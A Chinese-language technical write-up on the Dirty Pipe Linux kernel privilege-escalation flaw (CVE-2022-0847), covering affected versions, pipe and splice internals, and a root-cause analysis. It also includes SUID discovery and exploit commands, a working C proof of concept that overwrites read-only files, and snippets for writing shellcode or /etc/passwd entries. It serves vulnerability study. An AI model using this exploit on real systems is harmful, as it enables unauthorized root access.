dirty-pipe

[toc]

一、漏洞信息

1. 漏洞简述

  • 漏洞名称:(dirty-pipe内核提权漏洞)
  • 漏洞编号:(CVE-2022-0847)
  • 漏洞类型:(设计缺陷)
  • 漏洞影响:(本地提权)
  • CVSS评分:(CVSS 3.0评分7.8)

2. 漏洞影响

5.8 <= linux内核 < 5.16.11/5.15.25/5.10.102

在5.16.11/5.15.25/5.10.102中被修复

3. 解决方案

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9d2231c5d74e13b2a0546fee6737ee4446017903

二、漏洞复现

1. 环境搭建

linux内核版本 : 5.13.0

image-20220326173440455

2. 复现过程

下载exp,用gcc编译为可执行文件,直接运行,在文件后面加上suid文件,就可以拿到一个root权限的shell

1.查找suid文件

find / -perm -4000 2>/dev/null

2.运行exp

./exploit-2 /usr/bin/umount
image-20220326173732207

三、基础知识

1.管道

linux下的管道(pipe)是一种进程间的通信机制,就是在内存中创建一个共享文件,从而使得两个进程可以通过该共享文件来传递信息,管道具有单向传递数据的特点,由于该文件没有文件名,只能在亲属进程之间通信,所以也叫作'匿名管道'

进程之间通过pipe函数创建管道 int pipe(int fildes[2])

在i节点中有一个 pipe_inode_info 类型的指针 i_pipe ,在普通文件中 i_pipe 指针是 NULL ,在管道文件中该指针指向 pipe_inode_info 结构体,管道的本体也就是该结构体

struct inode {
    ....
    struct pipe_inode_info	*i_pipe;
    ....
};
// pipe_inode_info结构如下:
struct pipe_inode_info {
	struct mutex mutex;
	wait_queue_head_t rd_wait, wr_wait;
	unsigned int head;
	unsigned int tail;
	unsigned int max_usage;
	unsigned int ring_size;
#ifdef CONFIG_WATCH_QUEUE
	bool note_loss;
#endif
	unsigned int nr_accounted;
	unsigned int readers;
	unsigned int writers;
	unsigned int files;
	unsigned int r_counter;
	unsigned int w_counter;
	struct page *tmp_page;
	struct fasync_struct *fasync_readers;
	struct fasync_struct *fasync_writers;
	struct pipe_buffer *bufs;	// 构建管道的内存缓冲区
	struct user_struct *user;
#ifdef CONFIG_WATCH_QUEUE
	struct watch_queue *watch_queue;
#endif
};

管道的实质也就是一个被当做文件来管理的内存缓冲区,该缓冲区由结构体pipe_buffer管理

// pipe_buffer的结构体如下
struct pipe_buffer {
	struct page *page;
	unsigned int offset, len;
	const struct pipe_buf_operations *ops;
	unsigned int flags;
	unsigned long private;
};

在创建管道时使用的pipe和pipe2这两个系统调用最终都会调用do_pipe2()函数

// fs/pipe.c
SYSCALL_DEFINE2(pipe2, int __user *, fildes, int, flags)
{
	return do_pipe2(fildes, flags);
}

SYSCALL_DEFINE1(pipe, int __user *, fildes)
{
	return do_pipe2(fildes, 0);
}

do_pipe2()最终会调用kcalloc()函数分配一个pipe_buffer数组,默认数量是PIPE_DEF_BUFFERS(16)个

调用链:do_pipe2() -> __do_pipe_flags() --> create_pipe_files() -> get_pipe_inode() -> alloc_pipe_info()

pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer), GFP_KERNEL_ACCOUNT);

来看一下管道的读写操作,注意以下调用链

do_pipe2() -> __do_pipe_flags() -> create_pipe_files() -> alloc_file_pseudo()

f = alloc_file_pseudo(inode, pipe_mnt, "", O_WRONLY | (flags & (O_NONBLOCK | O_DIRECT)), &pipefifo_fops);

pipefifo_fops里面定义了我们对管道进行相关操作时调用的函数,当我们从管道读取数据的时候会调用pipe_read() 函数,当我们写入数据到管道中的时候会调用 pipe_write() 函数

const struct file_operations pipefifo_fops = {
	.open		= fifo_open,
	.llseek		= no_llseek,
	.read_iter	= pipe_read,
	.write_iter	= pipe_write,
	.poll		= pipe_poll,
	.unlocked_ioctl	= pipe_ioctl,
	.release	= pipe_release,
	.fasync		= pipe_fasync,
};

先看一下 pipe_write() 函数的实现

1.如果管道非空,而且上一个buf没有被写满,则进入以下的if语句中,若满足 PIPE_BUF_FLAG_CAN_MERGE 标志位,则尝试向上一个buf中写入数据

	if (chars && !was_empty) {
		unsigned int mask = pipe->ring_size - 1;
		struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
		int offset = buf->offset + buf->len;

		if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
		    offset + chars <= PAGE_SIZE) {
			ret = pipe_buf_confirm(pipe, buf);
			if (ret)
				goto out;

			ret = copy_page_from_iter(buf->page, offset, chars, from);
			if (unlikely(ret < chars)) {
				ret = -EFAULT;
				goto out;
			}

			buf->len += ret;
			if (!iov_iter_count(from))
				goto out;
		}
	}

2.当上一个buf写满后,往下一个管道写,判断如果管道没满,则正常写入

if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
			unsigned int mask = pipe->ring_size - 1;
			struct pipe_buffer *buf = &pipe->bufs[head & mask];
			struct page *page = pipe->tmp_page;
			int copied;

			if (!page) {
				page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
				if (unlikely(!page)) {
					ret = ret ? : -ENOMEM;
					break;
				}
				pipe->tmp_page = page;
			}

			/* Allocate a slot in the ring in advance and attach an
			 * empty buffer.  If we fault or otherwise fail to use
			 * it, either the reader will consume it or it'll still
			 * be there for the next write.
			 */
			spin_lock_irq(&pipe->rd_wait.lock);

			head = pipe->head;
			if (pipe_full(head, pipe->tail, pipe->max_usage)) {
				spin_unlock_irq(&pipe->rd_wait.lock);
				continue;
			}

			pipe->head = head + 1;
			spin_unlock_irq(&pipe->rd_wait.lock);

			/* Insert it into the buffer array */
			buf = &pipe->bufs[head & mask];
			buf->page = page;
			buf->ops = &anon_pipe_buf_ops;
			buf->offset = 0;
			buf->len = 0;
			if (is_packetized(filp))
				buf->flags = PIPE_BUF_FLAG_PACKET;
			else
				buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
			pipe->tmp_page = NULL;

			copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);
			if (unlikely(copied < PAGE_SIZE && iov_iter_count(from))) {
				if (!ret)
					ret = -EFAULT;
				break;
			}
			ret += copied;
			buf->offset = 0;
			buf->len = copied;

			if (!iov_iter_count(from))
				break;
		}

pipe_read() 函数的实现

若管道非空,则把buffer对应的page的数据读取出来

		if (!pipe_empty(head, tail)) {
			struct pipe_buffer *buf = &pipe->bufs[tail & mask];
			size_t chars = buf->len;
			size_t written;
			int error;

			if (chars > total_len) {
				if (buf->flags & PIPE_BUF_FLAG_WHOLE) {
					if (ret == 0)
						ret = -ENOBUFS;
					break;
				}
				chars = total_len;
			}

			error = pipe_buf_confirm(pipe, buf);
			if (error) {
				if (!ret)
					ret = error;
				break;
			}

			written = copy_page_to_iter(buf->page, buf->offset, chars, to);
			if (unlikely(written < chars)) {
				if (!ret)
					ret = -EFAULT;
				break;
			}
			ret += chars;
			buf->offset += chars;
			buf->len -= chars;

			/* Was it a packet buffer? Clean up and exit */
			if (buf->flags & PIPE_BUF_FLAG_PACKET) {
				total_len = chars;
				buf->len = 0;
			}

			if (!buf->len) {
				pipe_buf_release(pipe, buf);
				spin_lock_irq(&pipe->rd_wait.lock);
#ifdef CONFIG_WATCH_QUEUE
				if (buf->flags & PIPE_BUF_FLAG_LOSS)
					pipe->note_loss = true;
#endif
				tail++;
				pipe->tail = tail;
				spin_unlock_irq(&pipe->rd_wait.lock);
			}
			total_len -= chars;
			if (!total_len)
				break;	/* common path: read succeeded */
			if (!pipe_empty(head, tail))	/* More to do? */
				continue;
		}

总的来说,我们向一个刚刚建立的管道写数据的时候,会为buf分配一个page,并设置 PIPE_BUF_FLAG_CAN_MERGE 标志位,然后写入page中,只有该标志位被设置才可以对buffer进行写入,当我们读出数据之后,可以看到该标志位并没有被改变,依旧可以写入

splice()函数

splice()函数是处理文件与管道之间的数据拷贝的函数,该函数的本质是利用管道在内核空间进行数据的拷贝,大大减小了开销

splice系统调用的调用链:SYS_splice() -> __do_splice() -> do_splice()

然后do_splice()函数会根据情况调用 splice_pipe_to_pipe() / splice_file_to_pipe() / do_splice_from() 函数

splice_pipe_to_pipe() 对应着把管道内的数据读到管道中

splice_file_to_pipe() 对应着把文件内的数据读到管道中

do_splice_from() 对应着把管道内的数据读取到文件中

四、漏洞分析

1.分析

我们在splice的代码中并未发现有清空pipe_buffer中的 PIPE_BUF_FLAG_CAN_MERGE 标志位的地方,当我们把管道读写完之后,所有的标志位都被保留了下来,这就意味着这些page都可以被写,所以我们可以用splice把文件中的数据读取一字节到管道中,当建立完页面映射后,因为上一个buf的标志位任然保留着,所以在下一次读写的时候就会把数据读取到文件映射的页面中,完成越权写文件的操作

2.简单利用

1.先在一个文件中写入很多A,然后以只读的方式打开

image-20220326164803579
const char* path = "./tmpfile";
int fd = open(path, O_RDONLY);

2.使用pipe()函数创建一个管道

if(pipe(p)){
    abort();
}

3.使用splice()函数将文件中的数据定向到管道中

nbytes = splice(fd, 0, p[1], NULL, 5, 0);

4.向管道中写入数据

nbytes_w = write(p[1], "BBBBB", 5);

5.把管道另一端的数据写到buf中,并打印出来看看是否写入

read(p[0], buf, 10);
printf("pipe: %s\n", buf);
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <string.h>

int main(int argc, char* argv[]){
    printf("start poc_2");
    const char* path = "./tmpfile";
    int fd = open(path, O_RDONLY);
    loff_t offset = 0;
    ssize_t nbytes;
    ssize_t nbytes_w;
    int p[2];
    static char buf[4096];
    memset(buf, 0, 4096);
    if(pipe(p)){
        abort();
    }
    while(1){
        nbytes = splice(fd, 0, p[1], NULL, 5, 0);
        printf("splice %ld bytes\n", nbytes);
        nbytes_w = write(p[1], "BBBBB", 5);
        read(p[0], buf, 10);
        printf("pipe: %s\n", buf);
        if(nbytes == 0 || nbytes_w == 0){
            break;
        }
    }
    close(fd);
    return 0;
}

一开始的文件中并没有B

image-20220326170013477

我们运行程序后,看到以只读方式打开的文件中被写入了B

image-20220326170213638

3.提权

既然可以向没有权限读取的文件中写入数据,那我们就可以向/etc/passwd中写入root的密码,或者向suid程序中写入一段shellcode来达到提权的效果

1.首先创建一个管道,然后填满管道,让管道上所有的buf都被设置了 PIPE_BUF_FLAG_CAN_MERGE 标志位

if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
for (unsigned r = pipe_size; r > 0;) {
    unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
    write(p[1], buffer, n);
    r -= n;
}

2.然后把管道中的数据清空,但是标志位还在

for (unsigned r = pipe_size; r > 0;) {
    unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
    read(p[0], buffer, n);
    r -= n;
}

3.使用splice()函数将文件中的数据定向到管道中

ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);

4.把shellcode写入管道中,这样就可以通过管道写到文件里面了

nbytes = write(p[1], data, len);

exp

https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits

五、参考文献

https://xz.aliyun.com/t/11016#toc-11

https://mp.weixin.qq.com/s/fGoCM6d6r1WvoOrD-xBuQg

https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9d2231c5d74e13b2a0546fee6737ee4446017903

https://dirtypipe.cm4all.com/

https://www.136.la/jingpin/show-143974.html

https://blog.csdn.net/judgejames/article/details/84256340